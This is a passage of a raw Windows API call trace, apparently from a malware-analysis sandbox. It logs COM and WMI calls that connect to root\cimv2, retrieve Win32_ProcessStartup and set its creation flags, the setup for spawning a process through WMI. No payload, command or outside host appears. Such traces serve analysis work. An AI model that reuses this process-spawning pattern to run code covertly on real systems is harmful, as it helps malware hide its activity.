Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.797] WbemDefPath:IUnknown:Release (This=0x1c022320) returned 0x3 [0080.797] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0080.797] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0080.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0080.797] WbemDefPath:IUnknown:Release (This=0x1c02f0f0) returned 0x2 [0080.797] WbemDefPath:IUnknown:Release (This=0x1c02f0f0) returned 0x1 [0080.797] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0080.798] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0080.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1c02f0f0) returned 0x0 [0080.798] WbemDefPath:IUnknown:AddRef (This=0x1c02f0f0) returned 0x3 [0080.798] WbemDefPath:IUnknown:Release (This=0x1c02f0f0) returned 0x2 [0080.798] WbemDefPath:IWbemPath:SetText (This=0x1c02f0f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0080.798] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f0f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0080.798] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f0f0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0080.798] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f0f0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.798] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0080.798] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0080.798] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0080.799] IUnknown:Release (This=0x111f638) returned 0x1 [0080.800] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c022420) returned 0x0 [0080.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022420, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0080.803] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c022420, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c022440) returned 0x0 [0080.803] WbemLocator:IUnknown:Release (This=0x1c022420) returned 0x0 [0080.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c022440) returned 0x0 [0080.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022440, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0080.804] WbemLocator:IUnknown:AddRef (This=0x1c022440) returned 0x3 [0080.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022440, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0080.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022440, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0080.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022440, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0080.804] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0080.804] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0080.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022440, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0080.804] WbemLocator:IUnknown:Release (This=0x1c022440) returned 0x2 [0080.804] WbemLocator:IUnknown:Release (This=0x1c022440) returned 0x1 [0080.804] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0080.804] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0080.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022440, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c022440) returned 0x0 [0080.805] WbemLocator:IUnknown:AddRef (This=0x1c022440) returned 0x3 [0080.805] WbemLocator:IUnknown:Release (This=0x1c022440) returned 0x2 [0080.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f0f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0080.805] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f0f0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0080.805] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f0f0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.805] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c022460) returned 0x0 [0080.805] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c022460, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1c018e30) returned 0x0 [0081.034] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018e30, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf97620) returned 0x0 [0081.034] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97620, pProxy=0x1c018e30, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0081.034] WbemLocator:IUnknown:Release (This=0x1bf97620) returned 0x1 [0081.034] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018e30, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf97660) returned 0x0 [0081.034] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018e30, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf97620) returned 0x0 [0081.034] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97620, pProxy=0x1c018e30, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0081.034] WbemLocator:IUnknown:Release (This=0x1bf97620) returned 0x2 [0081.034] WbemLocator:IUnknown:Release (This=0x1bf97660) returned 0x1 [0081.034] CoTaskMemFree (pv=0x1c00a570) [0081.035] WbemLocator:IUnknown:AddRef (This=0x1c018e30) returned 0x2 [0081.035] WbemLocator:IUnknown:Release (This=0x1c022460) returned 0x0 [0081.035] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0081.036] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0081.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018e30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf97630) returned 0x0 [0081.036] WbemLocator:IRpcOptions:Query (in: This=0x1bf97630, pPrx=0x1c0224c0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0081.036] WbemLocator:IUnknown:Release (This=0x1bf97630) returned 0x2 [0081.036] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0081.036] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0081.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018e30, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1c018e30) returned 0x0 [0081.036] WbemLocator:IUnknown:Release (This=0x1c018e30) returned 0x2 [0081.036] SysStringLen (param_1=0x0) returned 0x0 [0081.037] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0081.037] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0081.038] IWbemServices:GetObject (in: This=0x1c018e30, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1c0297b0, ppCallResult=0x0) returned 0x0 [0081.039] IWbemClassObject:Get (in: This=0x1c0297b0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0081.039] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0081.040] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0081.040] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0081.040] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0081.040] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0081.040] IUnknown:Release (This=0x111f638) returned 0x1 [0081.042] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c022460) returned 0x0 [0081.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022460, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0081.043] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022460, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1c02f1b0) returned 0x0 [0081.043] WbemDefPath:IUnknown:Release (This=0x1c022460) returned 0x0 [0081.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1c02f1b0) returned 0x0 [0081.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0081.043] WbemDefPath:IUnknown:AddRef (This=0x1c02f1b0) returned 0x3 [0081.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0081.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0081.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c022480) returned 0x0 [0081.043] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022480, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.043] WbemDefPath:IUnknown:Release (This=0x1c022480) returned 0x3 [0081.044] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0081.044] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0081.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0081.044] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x2 [0081.044] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x1 [0081.044] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0081.044] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0081.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1c02f1b0) returned 0x0 [0081.044] WbemDefPath:IUnknown:AddRef (This=0x1c02f1b0) returned 0x3 [0081.044] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x2 [0081.044] WbemDefPath:IWbemPath:SetText (This=0x1c02f1b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0081.044] IWbemClassObject:Get (in: This=0x1c0297b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad9c98*=0, plFlavor=0x2ad9c9c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad9c98*=19, plFlavor=0x2ad9c9c*=0) returned 0x0 [0081.045] IWbemClassObject:Get (in: This=0x1c0297b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad9c98*=19, plFlavor=0x2ad9c9c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad9c98*=19, plFlavor=0x2ad9c9c*=0) returned 0x0 [0081.045] IWbemClassObject:Put (This=0x1c0297b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0081.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ef70, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0081.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.045] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0081.045] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.045] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0081.045] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0081.045] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0081.045] IUnknown:Release (This=0x111f638) returned 0x1 [0081.047] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c022620) returned 0x0 [0081.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022620, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0081.047] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022620, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1c02f270) returned 0x0 [0081.047] WbemDefPath:IUnknown:Release (This=0x1c022620) returned 0x0 [0081.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f270, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1c02f270) returned 0x0 [0081.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f270, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0081.047] WbemDefPath:IUnknown:AddRef (This=0x1c02f270) returned 0x3 [0081.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f270, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0081.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f270, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, 